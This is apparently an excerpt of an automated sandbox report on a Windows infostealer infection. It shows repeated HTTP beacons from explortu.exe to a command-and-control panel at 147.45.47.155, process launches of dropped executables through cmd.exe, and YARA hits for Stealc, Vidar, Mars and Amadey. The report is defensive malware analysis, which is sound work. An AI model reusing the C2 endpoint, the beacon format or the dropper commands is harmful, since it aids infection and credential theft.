Jun 26, 2024 08:17:34.336999893 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:34.337944984 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:34.551330090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49873	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:34.664853096 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:35.366252899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:35.370558023 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:35.582798958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49874	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:35.696805000 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:36.394110918 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:36.396939039 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:36.610896111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49875	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:36.726032019 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:37.426031113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:37.426738977 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:37.637938023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49876	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:37.796926022 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:38.473004103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:38.473869085 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:38.683576107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49877	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:38.806862116 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:39.486563921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:39.489172935 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:39.704179049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49880	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:39.820396900 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:40.511565924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49881	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:40.521477938 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49882	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:40.651182890 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:41.323242903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49883	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:41.331779957 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49884	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:41.450922966 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49885	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:41.476686001 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49886	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:41.604609966 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Target ID:	0
Start time:	02:16:12
Start date:	26/06/2024
Path:	C:\Users\user\Desktop\EZrw1nNIpG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\EZrw1nNIpG.exe"
Imagebase:	0x810000
File size:	2'535'424 bytes
MD5 hash:	E3CBB274E66E95A1B7EE5C05D87ABBD5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2389921177.0000000001614000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2385661873.0000000000811000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:16:31
Start date:	26/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:16:32
Start date:	26/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:16:32
Start date:	26/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJJJKFIIIJ.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:16:32
Start date:	26/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:16:32
Start date:	26/06/2024
Path:	C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe"
Imagebase:	0x250000
File size:	1'917'952 bytes
MD5 hash:	6EE133F9B425C62CD31A1CFB62BB5318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2394722403.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2438251859.0000000000251000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:16:37
Start date:	26/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Imagebase:	0x220000
File size:	1'917'952 bytes
MD5 hash:	6EE133F9B425C62CD31A1CFB62BB5318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2440931537.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.3418913450.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:16:37
Start date:	26/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x220000
File size:	1'917'952 bytes
MD5 hash:	6EE133F9B425C62CD31A1CFB62BB5318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.2445574299.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2486002500.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:16:44
Start date:	26/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe"
Imagebase:	0xd00000
File size:	2'499'584 bytes
MD5 hash:	05F33536753FEF7FFF85E5AB55E94639
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000D.00000002.2514385520.0000000000D01000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2515715104.0000000001CF5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:17:00
Start date:	26/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x220000
File size:	1'917'952 bytes
MD5 hash:	6EE133F9B425C62CD31A1CFB62BB5318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2703194358.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000003.2662971717.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:18:00
Start date:	26/06/2024
Path:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Imagebase:	0x220000
File size:	1'917'952 bytes
MD5 hash:	6EE133F9B425C62CD31A1CFB62BB5318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000003.3266423975.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3310671212.0000000000221000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C7C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C84F688,00001000), ref: 6C7C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C7C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C7C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C7C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C7C369F
__aulldiv.LIBCMT ref: 6C7C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C7C3773
